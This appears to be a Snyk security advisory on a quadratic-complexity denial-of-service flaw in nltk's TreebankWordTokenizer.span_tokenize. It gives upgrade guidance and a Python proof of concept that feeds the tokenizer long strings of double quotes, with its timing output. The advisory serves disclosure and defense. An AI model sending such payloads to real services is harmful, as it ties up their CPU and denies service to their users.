Inefficient Algorithmic Complexity Affecting nltk package, versions [3.2.5,3.10.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.47% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22549636
  • published14 Nov 2026
  • disclosed13 Nov 2026
  • creditzx, manus-use, Daniel Coles

Introduced: 13 Nov 2026

NewCVE-2026-126300  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via TreebankWordTokenizer.span_tokenize in nltk/tokenize/treebank.py, which contains an unguarded O(n²) processing loop in its quote-restoration step. When the method processes text containing a long run of double-quote characters, it builds a list of matched quote tokens and then calls list.pop(0) once per quote token inside a comprehension. Because list.pop(0) is O(length) due to element shifting, the total cost grows quadratically with input length, allowing an attacker who controls text passed to this public API to saturate a CPU core for a prolonged period. An all-quote input of 256,000 characters takes approximately 6.57 seconds on a single core, with cost scaling as the square of the input length.

PoC

Requires only the released nltk package; no corpus download is needed.

  1. Instantiate TreebankWordTokenizer.
  2. Call span_tokenize on an all-double-quote string of increasing length and time each call.
  3. Compare against an equal-token-count control input that avoids the quote branch.
import time
from nltk.tokenize import TreebankWordTokenizer

tok = TreebankWordTokenizer() for n in (32000, 64000, 128000, 256000): payload = '"' * n start = time.perf_counter() list(tok.span_tokenize(payload)) print("quote-run", n, round(time.perf_counter() - start, 3))

control = "a " * 128000 # comparable token count, avoids the pop(0) branch start = time.perf_counter() list(tok.span_tokenize(control)) print("control", round(time.perf_counter() - start, 3))

quote-run 32000 0.23
quote-run 64000 0.52
quote-run 128000 1.76
quote-run 256000 6.57   (about 4x per doubling => O(n^2))
control 0.16            (roughly 11x faster, isolates pop(0))

Note: Requires only the released nltk package with no corpus download needed.

CVSS Base Scores

version 4.0
version 3.1